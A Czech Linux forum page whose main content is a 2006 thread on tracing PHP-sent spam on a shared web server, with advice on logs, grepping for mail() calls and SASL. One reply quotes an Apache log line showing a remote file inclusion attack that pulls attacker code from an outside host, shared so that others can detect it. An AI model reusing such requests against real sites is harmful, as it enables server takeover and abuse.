Přihlášení | Registrace

napište » Zprávičky

FFmpeg nechal smazat repozitář porušující LGPL

dnes 15:55 | Komunita

FFmpeg nechal kvůli porušení autorských práv odstranit z GitHubu jeden z repozitářů patřících čínské technologické firmě Rockchip. Důvodem bylo porušení LGPL ze strany Rockchipu. Rockchip byl FFmpegem na porušování LGPL upozorněn již téměř před dvěma roky.

🇨🇽 | Komentářů: 4

witr (why-is-this-running)

dnes 15:44 | Zajímavý software

K dispozici je nový CLI nástroj witr sloužící k analýze běžících procesů. Název je zkratkou slov why-is-this-running, 'proč tohle běží'. Klade si za cíl v 'jediném, lidsky čitelném, výstupu vysvětlit odkud daný spuštěný proces pochází, jak byl spuštěn a jaký řetězec systémů je zodpovědný za to, že tento proces právě teď běží'. Witr je napsán v jazyce Go.

🇨🇽 | Komentářů: 0

Yazi 25.12.29

dnes 15:33 | Zajímavý software

Yazi je správce souborů běžící v terminálu. Napsán je v programovacím jazyce Rust. Podporuje asynchronní I/O operace. Vydán byl v nové verzi 25.12.29. Instalovat jej lze také ze Snapcraftu.

Ladislav Hagara | Komentářů: 0

39C3 (Chaos Communication Congress)

26.12. 18:44 | Komunita

Od soboty do úterý probíhá v Hamburku konference 39C3 (Chaos Communication Congress) věnovaná také počítačové bezpečnosti nebo hardwaru. Program (jiná verze) slibuje řadu zajímavých přednášek. Streamy a záznamy budou k dispozici na media.ccc.de.

Ladislav Hagara | Komentářů: 0

Phoenix (Xserver)

26.12. 13:22 | Zajímavý software

Byl představen nový Xserver Phoenix, kompletně od nuly vyvíjený v programovacím jazyce Zig. Projekt Phoenix si klade za cíl být moderní alternativou k X.Org serveru.

🇨🇽 | Komentářů: 7

XLibre Xserver 25.1.0

26.12. 13:11 | Nová verze

XLibre Xserver byl 21. prosince vydán ve verzi 25.1.0, 'winter solstice release'. Od založení tohoto forku X.Org serveru se jedná o vůbec první novou minor verzi (inkrementovalo se to druhé číslo v číselném kódu verze).

🇨🇽 | Komentářů: 0

Wayback 0.3

26.12. 03:33 | Nová verze

Wayback byl vydán ve verzi 0.3. Wayback je "tak akorát Waylandu, aby fungoval Xwayland". Jedná se o kompatibilní vrstvu umožňující běh plnohodnotných X11 desktopových prostředí s využitím komponent z Waylandu. Cílem je nakonec nahradit klasický server X.Org, a tím snížit zátěž údržby aplikací X11.

Ladislav Hagara | Komentářů: 0

Ruby 4.0.0

25.12. 14:44 | Nová verze

Byla vydána verze 4.0.0 programovacího jazyka Ruby (Wikipedie). S Ruby Box a ZJIT. Ruby lze vyzkoušet na webové stránce TryRuby. U příležitosti 30. narozenin, první veřejná verze Ruby 0.95 byla oznámena 21. prosince 1995, proběhl redesign webových stránek.

Ladislav Hagara | Komentářů: 0

Krásné Vánoce

24.12. 02:11 | Komunita

Všem čtenářkám a čtenářům AbcLinuxu krásné Vánoce.

Ladislav Hagara | Komentářů: 30

Parrot OS 7.0

24.12. 02:00 | Nová verze

Byla vydána nová verze 7.0 linuxové distribuce Parrot OS (Wikipedie). S kódovým názvem Echo. Jedná se o linuxovou distribuci založenou na Debianu a zaměřenou na penetrační testování, digitální forenzní analýzu, reverzní inženýrství, hacking, anonymitu nebo kryptografii. Přehled novinek v příspěvku na blogu.

Ladislav Hagara | Komentářů: 0

Centrum | Napsat | Starší

navrhněte » Anketa

Kdo vám letos nadělí dárek?

Ježíšek (35%)

Santa Claus (1%)

Děda Mráz (20%)

La Befana (1%)

Odin (1%)

Laskakit (1%)

Někdo z rodiny (12%)

Já sám (12%)

Nikdo (16%)

Celkem 164 hlasů

Komentářů: 18, poslední 24.12. 15:29

Rozcestník

AbcLinuxu

HDmag.cz

AbcLinuxu:/ Poradna / Linuxová poradna / SPAM z localhostu pres apache, php

Štítky: Apache, e-mail, KDE, Lokalizace, MTA, PHP, Postfix, programování, SMTP

Dotaz: SPAM z localhostu pres apache, php

30.8.2006 16:55 B0biN | skóre: 21 | blog: B0biN bloguje
SPAM z localhostu pres apache, php

Přečteno: 266×

Odpovědět | Admin

Ahoj lidi, resim ted takovy problem. Hromadi se mi ve fronte spousta mailu (mailq) cca 8 tis. Vypada to nejak takhle:


BDE1F2A44172*    4006 Wed Aug 30 15:24:20  www-data@smtp.server.ltd


                                                  sweetthang962000@yahoo.com

Evidentne to posila nejaky php script z localhostu, protoze user www-data je user pod kterym bezi apache, potazmo php.
Jak zjistit, ktery php script tohle dela, popripade jak tenhle problem vyresit a pritom nezakazat funkfi mail() na php?
Napadlo me donutit postfix, aby odesilal pouze maily, ktere se overi pres SASL,ale nevim jak to nastavit, aby se overovaly, pokud je to z localhostu. Diky.

cd /pub | more beer

Nástroje: Začni sledovat (0) ?

Odpovědi

30.8.2006 17:12 hele
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

obvykle se to da lokalizovat v access logu apache, a nebo si upravit funkci mail() v php aby logovala co posila.

urcite se spise snazit lokalizovat pricinu(tedy vadny kod php) a ne dusledek.

30.8.2006 20:45 Zdeněk Štěpánek | skóre: 57 | blog: uz_mam_taky_blog | varnsdorf
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Aspon priblizne by to slo porovnat podle casu odeslani mailu a ten cas si najit v access logu apache.

Zdenek

www.pirati.cz - s piráty do parlamentu i jinam www.gavanet.org - czfree varnsdorf

31.8.2006 08:19 B0biN | skóre: 21 | blog: B0biN bloguje
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Mno lokalizace priciny je samozrejma, ale nemuzu kontrolovat scripty stum hostingu, ktere na serveru bezi, to bych nedalal nic jineho :)

cd /pub | more beer

31.8.2006 00:15 R
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

1. Pozriet, co je v tych spamoch 2. Vojst do adresara, kde su php skripty, a pouzit find: find -name \*.php -exec grep -H mail\( \{\} \; 3. Najst podozrivy skript 4. Opravit ho a tiez vsetky ostatne

V tych PHP skriptoch sa _MUSI_ _VZDY_ kontrolovat to, co sa vklada zvonku do hlavicky mailu, inak je z toho pruser (spammer ako mailovu adresu kludne posle cely spam s hlavickou). Uz som to raz riesil - niekto neosetril vobec meno a e-mailovu adresu odosielatela...

31.8.2006 08:32 B0biN | skóre: 21 | blog: B0biN bloguje
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Ano vyhledat se mi to take podarilo, ale je toho takova spousta, ze by trvalo hodne dlouho, nez bych na to prisel, navic nekdo pouziva ve funkci promene. Myslel jsem, ze ma nekdo konkretni reseni, treba jak jsem se uz ptal, donutit postfix, aby overovatl pres SASL i maily odeslane z localhostu.

cd /pub | more beer

31.8.2006 09:39 Jiri Strapina
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Muze to byt problem vkladani skriptu z jineho serveru, potom muzes pouze hledat v logach apache.

Sveho casu jsem nasel u klienta v logach nasledujici (tehdy funkcni)


"GET /pic_navigace/menu_de/accessories_a.gif HTTP/1.1" 200
 1664 ...."http://x.x.x.x/main.php?stranka=http://geocities.com/lawrence4ever2007/NightWalkeR2.txt?"....

Takze hledej =http

31.8.2006 09:56 B0biN | skóre: 21 | blog: B0biN bloguje
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Tak yo zkusim, ale tehle detektivni praktiky jsem se chtel vyhnout, potreboval jsem nejak poresit aby se to uz neopakovalo. Co treba rikate na PHPMailer. Donutit postfix, aby overoval veskere uzivatele, ktere posilaji pres SMTP, v php zakazat funkci mail a pomoci extensions PHPMaileru pouzivat SMTP overeni?

cd /pub | more beer

2.9.2006 14:47 Karel Borkovec | skóre: 28 | blog: HP_NX9010 | Tábor
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Přesně toto jsem objevil v logu apache... Jak opravit PHP skripty, pokud jsou laděny v tomto duchu? Tzn. *.php?page=....

Prosím o radu...

2.9.2006 21:36 R
Rozbalit Rozbalit vše Re: SPAM z localhostu pres apache, php

Includovanie remote suborov? OMFG, to kto programoval?